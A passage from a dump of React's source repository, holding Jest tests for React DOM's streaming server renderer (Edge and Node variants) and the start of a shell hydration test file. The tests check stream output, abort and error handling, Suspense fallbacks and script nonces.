serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n          return 'a digest';\n        },\n      }),\n    );\n\n    controller.abort(new Error('uh oh'));\n\n    expect(errors).toEqual(['uh oh', 'uh oh']);\n  });\n\n  // https://github.com/facebook/react/pull/25534/files - fix transposed escape functions\n  it('should encode title properly', async () => {\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(\n        <html>\n          <head>\n            <title>foo</title>\n          </head>\n          <body>bar</body>\n        </html>,\n      ),\n    );\n\n    const result = await readResult(stream);\n    expect(result).toEqual(\n      '<!DOCTYPE html><html><head>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/>'\n          : '') +\n        '<title>foo</title></head><body>bar' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<template id=\"_R_\"></template>'\n          : '') +\n        '</body></html>',\n    );\n  });\n\n  it('should support nonce attribute for bootstrap scripts', async () => {\n    const nonce = 'R4nd0m';\n    const stream = await serverAct(() =>\n      ReactDOMFizzServer.renderToReadableStream(<div>hello world</div>, {\n        nonce,\n        bootstrapScriptContent: 'INIT();',\n        bootstrapScripts: ['init.js'],\n        bootstrapModules: ['init.mjs'],\n      }),\n    );\n    const result = await readResult(stream);\n    expect(result).toMatchInlineSnapshot(\n      // TODO: remove interpolation because it prevents snapshot updates.\n      // eslint-disable-next-line jest/no-interpolation-in-snapshots\n      `\"<link rel=\"preload\" as=\"script\" fetchPriority=\"low\" nonce=\"R4nd0m\" href=\"init.js\"/><link rel=\"modulepreload\" fetchPriority=\"low\" nonce=\"R4nd0m\" href=\"init.mjs\"/><div>hello world</div><script nonce=\"${nonce}\" id=\"_R_\">INIT();</script><script src=\"init.js\" nonce=\"${nonce}\" async=\"\"></script><script type=\"module\" src=\"init.mjs\" nonce=\"${nonce}\" async=\"\"></script>\"`,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzServerEdge-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.AsyncLocalStorage = require('async_hooks').AsyncLocalStorage;\n\nlet React;\nlet ReactDOM;\nlet ReactDOMFizzServer;\nlet Suspense;\n\ndescribe('ReactDOMFizzServerEdge', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.useRealTimers();\n    React = require('react');\n    Suspense = React.Suspense;\n    ReactDOM = require('react-dom');\n    ReactDOMFizzServer = require('react-dom/server.edge');\n  });\n\n  async function readResult(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return result;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  // https://github.com/facebook/react/issues/27540\n  it('does not try to write to the stream after it has been closed', async () => {\n    async function preloadLate() {\n      await 1;\n      await 1;\n      // need to wait a few microtasks to get the stream to close before this is called\n      ReactDOM.preconnect('foo');\n    }\n\n    function Preload() {\n      preloadLate();\n      return null;\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>\n            <main>hello</main>\n            <Preload />\n          </body>\n        </html>\n      );\n    }\n    const stream = await ReactDOMFizzServer.renderToReadableStream(<App />);\n    const result = await readResult(stream);\n    // need to wait a macrotask to let the scheduled work from the preconnect to execute\n    await new Promise(resolve => {\n      setTimeout(resolve, 1);\n    });\n\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(result).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head><link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/></head><body><main>hello</main><template id=\"_R_\"></template></body></html>\"`,\n      );\n    } else {\n      expect(result).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head></head><body><main>hello</main></body></html>\"`,\n      );\n    }\n  });\n\n  it('recoverably errors and does not add rel=\"expect\" for large shells', async () => {\n    function Paragraph() {\n      return (\n        <p>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris\n          porttitor tortor ac lectus faucibus, eget eleifend elit hendrerit.\n          Integer porttitor nisi in leo congue rutrum. Morbi sed ante posuere,\n          aliquam lorem ac, imperdiet orci. Duis malesuada gravida pharetra.\n          Cras facilisis arcu diam, id dictum lorem imperdiet a. Suspendisse\n          aliquet tempus tortor et ultricies. Aliquam libero velit, posuere\n          tempus ante sed, pellentesque tincidunt lorem. Nullam iaculis, eros a\n          varius aliquet, tortor felis tempor metus, nec cursus felis eros\n          aliquam nulla. Vivamus ut orci sed mauris congue lacinia. Cras eget\n          blandit neque. Pellentesque a massa in turpis ullamcorper volutpat vel\n          at massa. Sed ante est, auctor non diam non, vulputate ultrices metus.\n          Maecenas dictum fermentum quam id aliquam. Donec porta risus vitae\n          pretium posuere. Fusce facilisis eros in lacus tincidunt congue.\n        </p>\n      );\n    }\n\n    function App({suspense}) {\n      const paragraphs = [];\n      for (let i = 0; i < 600; i++) {\n        paragraphs.push(<Paragraph key={i} />);\n      }\n      return (\n        <html>\n          <body>\n            {suspense ? (\n              // This is ok\n              <Suspense fallback=\"Loading\">{paragraphs}</Suspense>\n            ) : (\n              // This is not\n              paragraphs\n            )}\n          </body>\n        </html>\n      );\n    }\n    const errors = [];\n    const stream = await ReactDOMFizzServer.renderToReadableStream(\n      <App suspense={false} />,\n      {\n        onError(error) {\n          errors.push(error);\n        },\n      },\n    );\n    const result = await readResult(stream);\n    expect(result).not.toContain('rel=\"expect\"');\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(errors.length).toBe(1);\n      expect(errors[0].message).toContain(\n        'This rendered a large document (>512 kB) without any Suspense boundaries around most of it.',\n      );\n    } else {\n      expect(errors.length).toBe(0);\n    }\n\n    // If we wrap in a Suspense boundary though, then it should be ok.\n    const errors2 = [];\n    const stream2 = await ReactDOMFizzServer.renderToReadableStream(\n      <App suspense={true} />,\n      {\n        onError(error) {\n          errors2.push(error);\n        },\n      },\n    );\n    const result2 = await readResult(stream2);\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(result2).toContain('rel=\"expect\"');\n    } else {\n      expect(result2).not.toContain('rel=\"expect\"');\n    }\n    expect(errors2.length).toBe(0);\n\n    // Or if we increase the progressiveChunkSize.\n    const errors3 = [];\n    const stream3 = await ReactDOMFizzServer.renderToReadableStream(\n      <App suspense={false} />,\n      {\n        progressiveChunkSize: 100000,\n        onError(error) {\n          errors3.push(error);\n        },\n      },\n    );\n    const result3 = await readResult(stream3);\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(result3).toContain('rel=\"expect\"');\n    } else {\n      expect(result3).not.toContain('rel=\"expect\"');\n    }\n    expect(errors3.length).toBe(0);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzServerNode-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet Stream;\nlet React;\nlet ReactDOMFizzServer;\nlet Suspense;\nlet act;\n\ndescribe('ReactDOMFizzServerNode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n    Suspense = React.Suspense;\n    act = require('internal-test-utils').act;\n  });\n\n  function getTestWritable() {\n    const writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    const output = {result: '', error: undefined};\n    writable.on('data', chunk => {\n      output.result += chunk;\n    });\n    writable.on('error', error => {\n      output.error = error;\n    });\n    const completed = new Promise(resolve => {\n      writable.on('finish', () => {\n        resolve();\n      });\n      writable.on('error', () => {\n        resolve();\n      });\n    });\n    return {writable, completed, output};\n  }\n\n  const theError = new Error('This is an error');\n  function Throw() {\n    throw theError;\n  }\n  const theInfinitePromise = new Promise(() => {});\n  function InfiniteSuspend() {\n    throw theInfinitePromise;\n  }\n\n  async function readContentWeb(stream) {\n    const reader = stream.getReader();\n    let content = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return content;\n      }\n      content += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  it('should call renderToPipeableStream', async () => {\n    const {writable, output} = getTestWritable();\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <div>hello world</div>,\n      );\n      pipe(writable);\n    });\n    expect(output.result).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('should support web streams', async () => {\n    const stream = await act(() =>\n      ReactDOMFizzServer.renderToReadableStream(<div>hello world</div>),\n    );\n    const result = await readContentWeb(stream);\n    expect(result).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('flush fully if piping in on onShellReady', async () => {\n    const {writable, output} = getTestWritable();\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <div>hello world</div>,\n        {\n          onShellReady() {\n            pipe(writable);\n          },\n        },\n      );\n    });\n    expect(output.result).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('should emit DOCTYPE at the root of the document', async () => {\n    const {writable, output} = getTestWritable();\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <html>\n          <body>hello world</body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    // with Float, we emit empty heads if they are elided when rendering <html>\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(output.result).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head><link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/></head><body>hello world<template id=\"_R_\"></template></body></html>\"`,\n      );\n    } else {\n      expect(output.result).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head></head><body>hello world</body></html>\"`,\n      );\n    }\n  });\n\n  it('should emit bootstrap script src at the end', async () => {\n    const {writable, output} = getTestWritable();\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <div>hello world</div>,\n        {\n          bootstrapScriptContent: 'INIT();',\n          bootstrapScripts: ['init.js'],\n          bootstrapModules: ['init.mjs'],\n        },\n      );\n      pipe(writable);\n    });\n    expect(output.result).toMatchInlineSnapshot(\n      `\"<link rel=\"preload\" as=\"script\" fetchPriority=\"low\" href=\"init.js\"/><link rel=\"modulepreload\" fetchPriority=\"low\" href=\"init.mjs\"/><div>hello world</div><script id=\"_R_\">INIT();</script><script src=\"init.js\" async=\"\"></script><script type=\"module\" src=\"init.mjs\" async=\"\"></script>\"`,\n    );\n  });\n\n  it('should start writing after pipe', async () => {\n    const {writable, output} = getTestWritable();\n    let pipe;\n    await act(() => {\n      pipe = ReactDOMFizzServer.renderToPipeableStream(\n        <div>hello world</div>,\n      ).pipe;\n    });\n    // First we write our header.\n    output.result +=\n      '<!doctype html><html><head><title>test</title><head><body>';\n    // Then React starts writing.\n    pipe(writable);\n    expect(output.result).toMatchInlineSnapshot(\n      `\"<!doctype html><html><head><title>test</title><head><body><div>hello world</div>\"`,\n    );\n  });\n\n  it('emits all HTML as one unit if we wait until the end to start', async () => {\n    let hasLoaded = false;\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Wait() {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      return 'Done';\n    }\n    let isCompleteCalls = 0;\n    const {writable, output} = getTestWritable();\n    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n      <div>\n        <Suspense fallback=\"Loading\">\n          <Wait />\n        </Suspense>\n      </div>,\n\n      {\n        onAllReady() {\n          isCompleteCalls++;\n        },\n      },\n    );\n    await jest.runAllTimers();\n    expect(output.result).toBe('');\n    expect(isCompleteCalls).toBe(0);\n    // Resolve the loading.\n    hasLoaded = true;\n    await resolve();\n\n    await jest.runAllTimers();\n\n    expect(output.result).toBe('');\n    expect(isCompleteCalls).toBe(1);\n\n    // First we write our header.\n    output.result +=\n      '<!doctype html><html><head><title>test</title><head><body>';\n    // Then React starts writing.\n    pipe(writable);\n    expect(output.result).toMatchInlineSnapshot(\n      `\"<!doctype html><html><head><title>test</title><head><body><div><!--$-->Done<!-- --><!--/$--></div>\"`,\n    );\n  });\n\n  it('should error the stream when an error is thrown at the root', async () => {\n    const reportedErrors = [];\n    const reportedShellErrors = [];\n    const {writable, output, completed} = getTestWritable();\n    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n      <div>\n        <Throw />\n      </div>,\n      {\n        onError(x) {\n          reportedErrors.push(x);\n        },\n        onShellError(x) {\n          reportedShellErrors.push(x);\n        },\n      },\n    );\n\n    // The stream is errored once we start writing.\n    pipe(writable);\n\n    await completed;\n\n    expect(output.error).toBe(theError);\n    expect(output.result).toBe('');\n    // This type of error is reported to the error callback too.\n    expect(reportedErrors).toEqual([theError]);\n    expect(reportedShellErrors).toEqual([theError]);\n  });\n\n  it('should error the stream when an error is thrown inside a fallback', async () => {\n    const reportedErrors = [];\n    const reportedShellErrors = [];\n    const {writable, output, completed} = getTestWritable();\n    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n      <div>\n        <Suspense fallback={<Throw />}>\n          <InfiniteSuspend />\n        </Suspense>\n      </div>,\n\n      {\n        onError(x) {\n          reportedErrors.push(x.message);\n        },\n        onShellError(x) {\n          reportedShellErrors.push(x);\n        },\n      },\n    );\n    pipe(writable);\n\n    await completed;\n\n    expect(output.error).toBe(theError);\n    expect(output.result).toBe('');\n    expect(reportedErrors).toEqual([\n      theError.message,\n      'The destination stream errored while writing data.',\n    ]);\n    expect(reportedShellErrors).toEqual([theError]);\n  });\n\n  it('should not error the stream when an error is thrown inside suspense boundary', async () => {\n    const reportedErrors = [];\n    const reportedShellErrors = [];\n    const {writable, output, completed} = getTestWritable();\n    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <Throw />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          reportedErrors.push(x);\n        },\n        onShellError(x) {\n          reportedShellErrors.push(x);\n        },\n      },\n    );\n    pipe(writable);\n\n    await completed;\n\n    expect(output.error).toBe(undefined);\n    expect(output.result).toContain('Loading');\n    // While no error is reported to the stream, the error is reported to the callback.\n    expect(reportedErrors).toEqual([theError]);\n    expect(reportedShellErrors).toEqual([]);\n  });\n\n  it('should not attempt to render the fallback if the main content completes first', async () => {\n    const {writable, output, completed} = getTestWritable();\n\n    let renderedFallback = false;\n    function Fallback() {\n      renderedFallback = true;\n      return 'Loading...';\n    }\n    function Content() {\n      return 'Hi';\n    }\n    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n      <Suspense fallback={<Fallback />}>\n        <Content />\n      </Suspense>,\n    );\n    pipe(writable);\n\n    await completed;\n\n    expect(output.result).toContain('Hi');\n    expect(output.result).not.toContain('Loading');\n    expect(renderedFallback).toBe(false);\n  });\n\n  it('should be able to complete by aborting even if the promise never resolves', async () => {\n    let isCompleteCalls = 0;\n    const errors = [];\n    const {writable, output, completed} = getTestWritable();\n    let abort;\n    await act(() => {\n      const pipeable = ReactDOMFizzServer.renderToPipeableStream(\n        <div>\n          <Suspense fallback={<div>Loading</div>}>\n            <InfiniteSuspend />\n          </Suspense>\n        </div>,\n        {\n          onError(x) {\n            errors.push(x.message);\n          },\n          onAllReady() {\n            isCompleteCalls++;\n          },\n        },\n      );\n      pipeable.pipe(writable);\n      abort = pipeable.abort;\n    });\n\n    expect(output.result).toContain('Loading');\n    expect(isCompleteCalls).toBe(0);\n\n    abort(new Error('uh oh'));\n\n    await completed;\n\n    expect(errors).toEqual(['uh oh']);\n    expect(output.error).toBe(undefined);\n    expect(output.result).toContain('Loading');\n    expect(isCompleteCalls).toBe(1);\n  });\n\n  it('should fail the shell if you abort before work has begun', async () => {\n    let isCompleteCalls = 0;\n    const errors = [];\n    const shellErrors = [];\n    const {writable, output, completed} = getTestWritable();\n    const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          errors.push(x.message);\n        },\n        onShellError(x) {\n          shellErrors.push(x.message);\n        },\n        onAllReady() {\n          isCompleteCalls++;\n        },\n      },\n    );\n    pipe(writable);\n\n    // Currently we delay work so if we abort, we abort the remaining CPU\n    // work as well.\n\n    // Abort before running the timers that perform the work\n    const theReason = new Error('uh oh');\n    abort(theReason);\n\n    jest.runAllTimers();\n\n    await completed;\n\n    expect(errors).toEqual(['uh oh']);\n    expect(shellErrors).toEqual(['uh oh']);\n    expect(output.error).toBe(theReason);\n    expect(output.result).toBe('');\n    expect(isCompleteCalls).toBe(0);\n  });\n\n  it('should be able to complete by abort when the fallback is also suspended', async () => {\n    let isCompleteCalls = 0;\n    const errors = [];\n    const {writable, output, completed} = getTestWritable();\n    let abort;\n    await act(() => {\n      const pipeable = ReactDOMFizzServer.renderToPipeableStream(\n        <div>\n          <Suspense fallback=\"Loading\">\n            <Suspense fallback={<InfiniteSuspend />}>\n              <InfiniteSuspend />\n            </Suspense>\n          </Suspense>\n        </div>,\n        {\n          onError(x) {\n            errors.push(x.message);\n          },\n          onAllReady() {\n            isCompleteCalls++;\n          },\n        },\n      );\n      pipeable.pipe(writable);\n      abort = pipeable.abort;\n    });\n\n    expect(output.result).toContain('Loading');\n    expect(isCompleteCalls).toBe(0);\n\n    abort();\n\n    await completed;\n\n    expect(errors).toEqual([\n      // There are two boundaries that abort\n      'The render was aborted by the server without a reason.',\n      'The render was aborted by the server without a reason.',\n    ]);\n    expect(output.error).toBe(undefined);\n    expect(output.result).toContain('Loading');\n    expect(isCompleteCalls).toBe(1);\n  });\n\n  it('should be able to get context value when promise resolves', async () => {\n    class DelayClient {\n      get() {\n        if (this.resolved) return this.resolved;\n        if (this.pending) return this.pending;\n        return (this.pending = new Promise(resolve => {\n          setTimeout(() => {\n            delete this.pending;\n            this.resolved = 'OK';\n            resolve();\n          }, 500);\n        }));\n      }\n    }\n\n    const DelayContext = React.createContext(undefined);\n    const Component = () => {\n      const client = React.useContext(DelayContext);\n      if (!client) {\n        return 'context not found.';\n      }\n      const result = client.get();\n      if (typeof result === 'string') {\n        return result;\n      }\n      throw result;\n    };\n\n    const client = new DelayClient();\n    const {writable, output, completed} = getTestWritable();\n    await act(() => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        <DelayContext.Provider value={client}>\n          <div>\n            <Suspense fallback=\"loading\">\n              <Component />\n            </Suspense>\n          </div>\n        </DelayContext.Provider>,\n      ).pipe(writable);\n    });\n\n    expect(output.error).toBe(undefined);\n    expect(output.result).toContain('loading');\n\n    await completed;\n\n    expect(output.error).toBe(undefined);\n    expect(output.result).not.toContain('context never found');\n    expect(output.result).toContain('OK');\n  });\n\n  it('should be able to get context value when calls renderToPipeableStream twice at the same time', async () => {\n    class DelayClient {\n      get() {\n        if (this.resolved) return this.resolved;\n        if (this.pending) return this.pending;\n        return (this.pending = new Promise(resolve => {\n          setTimeout(() => {\n            delete this.pending;\n            this.resolved = 'OK';\n            resolve();\n          }, 500);\n        }));\n      }\n    }\n    const DelayContext = React.createContext(undefined);\n    const Component = () => {\n      const client = React.useContext(DelayContext);\n      if (!client) {\n        return 'context never found';\n      }\n      const result = client.get();\n      if (typeof result === 'string') {\n        return result;\n      }\n      throw result;\n    };\n\n    const client0 = new DelayClient();\n    const {\n      writable: writable0,\n      output: output0,\n      completed: completed0,\n    } = getTestWritable();\n    const client1 = new DelayClient();\n    const {\n      writable: writable1,\n      output: output1,\n      completed: completed1,\n    } = getTestWritable();\n    await act(() => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        <DelayContext.Provider value={client0}>\n          <div>\n            <Suspense fallback=\"loading\">\n              <Component />\n            </Suspense>\n          </div>\n        </DelayContext.Provider>,\n      ).pipe(writable0);\n      ReactDOMFizzServer.renderToPipeableStream(\n        <DelayContext.Provider value={client1}>\n          <div>\n            <Suspense fallback=\"loading\">\n              <Component />\n            </Suspense>\n          </div>\n        </DelayContext.Provider>,\n      ).pipe(writable1);\n    });\n\n    expect(output0.error).toBe(undefined);\n    expect(output0.result).toContain('loading');\n\n    expect(output1.error).toBe(undefined);\n    expect(output1.result).toContain('loading');\n\n    await Promise.all([completed0, completed1]);\n\n    expect(output0.error).toBe(undefined);\n    expect(output0.result).not.toContain('context never found');\n    expect(output0.result).toContain('OK');\n\n    expect(output1.error).toBe(undefined);\n    expect(output1.result).not.toContain('context never found');\n    expect(output1.result).toContain('OK');\n  });\n\n  it('should be able to pop context after suspending', async () => {\n    class DelayClient {\n      get() {\n        if (this.resolved) return this.resolved;\n        if (this.pending) return this.pending;\n        return (this.pending = new Promise(resolve => {\n          setTimeout(() => {\n            delete this.pending;\n            this.resolved = 'OK';\n            resolve();\n          }, 500);\n        }));\n      }\n    }\n\n    const DelayContext = React.createContext(undefined);\n    const Component = () => {\n      const client = React.useContext(DelayContext);\n      if (!client) {\n        return 'context not found.';\n      }\n      const result = client.get();\n      if (typeof result === 'string') {\n        return result;\n      }\n      throw result;\n    };\n\n    const client = new DelayClient();\n    const {writable, output, completed} = getTestWritable();\n    await act(() => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        <div>\n          <DelayContext.Provider value={client}>\n            <Suspense fallback=\"loading\">\n              <Component />\n            </Suspense>\n          </DelayContext.Provider>\n          <DelayContext.Provider value={client}>\n            <Suspense fallback=\"loading\">\n              <Component />\n            </Suspense>\n          </DelayContext.Provider>\n        </div>,\n      ).pipe(writable);\n    });\n\n    expect(output.error).toBe(undefined);\n    expect(output.result).toContain('loading');\n\n    await completed;\n\n    expect(output.error).toBe(undefined);\n    expect(output.result).not.toContain('context never found');\n    expect(output.result).toContain('OK');\n  });\n\n  it('should not continue rendering after the writable ends unexpectedly', async () => {\n    let hasLoaded = false;\n    let resolve;\n    let isComplete = false;\n    let rendered = false;\n    const promise = new Promise(r => (resolve = r));\n    function Wait({prop}) {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      rendered = true;\n      return 'Done';\n    }\n    const errors = [];\n    const {writable, completed} = getTestWritable();\n    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <Wait />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          errors.push(x.message);\n        },\n        onAllReady() {\n          isComplete = true;\n        },\n      },\n    );\n    pipe(writable);\n\n    expect(rendered).toBe(false);\n    expect(isComplete).toBe(false);\n\n    writable.end();\n\n    await jest.runAllTimers();\n\n    hasLoaded = true;\n    resolve();\n\n    await completed;\n\n    expect(errors).toEqual([\n      'The destination stream errored while writing data.',\n    ]);\n    expect(rendered).toBe(false);\n    expect(isComplete).toBe(true);\n  });\n\n  it('should encode multibyte characters correctly without nulls (#24985)', async () => {\n    const {writable, output} = getTestWritable();\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <div>{Array(700).fill('ののの')}</div>,\n      );\n      pipe(writable);\n    });\n    expect(output.result.indexOf('\\u0000')).toBe(-1);\n    expect(output.result).toEqual(\n      '<div>' + Array(700).fill('ののの').join('<!-- -->') + '</div>',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzShellHydration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\nlet JSDOM;\nlet React;\nlet startTransition;\nlet ReactDOMClient;\nlet Scheduler;\nlet clientAct;\nlet ReactDOMFizzServer;\nlet Stream;\nlet document;\nlet writable;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\nlet textCache;\nlet assertLog;\n\ndescribe('ReactDOMFizzShellHydration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    clientAct = require('internal-test-utils').act;\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n\n    startTransition = React.startTransition;\n\n    textCache = new Map();\n\n    // Test Environment\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    document = jsdom.window.document;\n    container = document.getElementById('container');\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  async function serverAct(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    const bufferedContent = buffer;\n    buffer = '';\n    const fakeBody = document.createElement('body');\n    fakeBody.innerHTML = bufferedContent;\n    while (fakeBody.firstChild) {\n      const node = fakeBody.firstChild;\n      if (node.nodeName === 'SCRIPT') {\n        const script = document.createElement('script');\n        script.textContent = node.textContent;\n        fakeBody.removeChild(node);\n        container.appendChild(script);\n      } else {\n        container.appendChild(node);\n      }\n    }\n  }\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  function resetTextCache() {\n    textCache = new Map();\n  }\n\n  it('suspending in the shell during hydration', async () => {\n    const div = React.createRef(null);\n\n    function App() {\n      return (\n        <div ref={div}>\n          <AsyncText text=\"Shell\" />\n        </div>\n      );\n    }\n\n    // Server render\n    await resolveText('Shell');\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    assertLog(['Shell']);\n    const dehydratedDiv = container.getElementsByTagName('div')[0];\n\n    // Clear the cache and start rendering on the client\n    resetTextCache();\n\n    // Hydration suspends because the data for the shell hasn't loaded yet\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n    assertLog(['Suspend! [Shell]']);\n    expect(div.current).toBe(null);\n    expect(container.textContent).toBe('Shell');\n\n    // The shell loads and hydration finishes\n    await clientAct(async () => {\n      await resolveText('Shell');\n    });\n    assertLog(['Shell']);\n    expect(div.current).toBe(dehydratedDiv);\n    expect(container.textContent).toBe('Shell');\n  });\n\n  it('suspending in the shell during a normal client render', async () => {\n    // Same as previous test but during a normal client render, no hydration\n    function App() {\n      return <AsyncText text=\"Shell\" />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await clientAct(async () => {\n      root.render(<App />);\n    });\n    assertLog(['Suspend! [Shell]']);\n\n    await clientAct(async () => {\n      await resolveText('Shell');\n    });\n    assertLog(['Shell']);\n    expect(container.textContent).toBe('Shell');\n  });\n\n  it(\n    'updating the root at lower priority than initial hydration does not ' +\n      'force a client render',\n    async () => {\n      function App() {\n        return <Text text=\"Initial\" />;\n      }\n\n      // Server render\n      await resolveText('Initial');\n      await serverAct(async () => {\n        const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertLog(['Initial']);\n\n      await clientAct(async () => {\n        const root = ReactDOMClient.hydrateRoot(container, <App />);\n        // This has lower priority than the initial hydration, so the update\n        // won't be processed until after hydration finishes.\n        startTransition(() => {\n          root.render(<Text text=\"Updated\" />);\n        });\n      });\n      assertLog(['Initial', 'Updated']);\n      expect(container.textContent).toBe('Updated');\n    },\n  );\n\n  it(\n    'updating the root at same priority as initial hydration does not ' +\n      'force a client render',\n    async () => {\n      function App() {\n        return <Text text=\"Initial\" />;\n      }\n\n      // Server render\n      await resolveText('Initial');\n      await serverAct(async () => {\n        const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertLog(['Initial']);\n\n      await clientAct(async () => 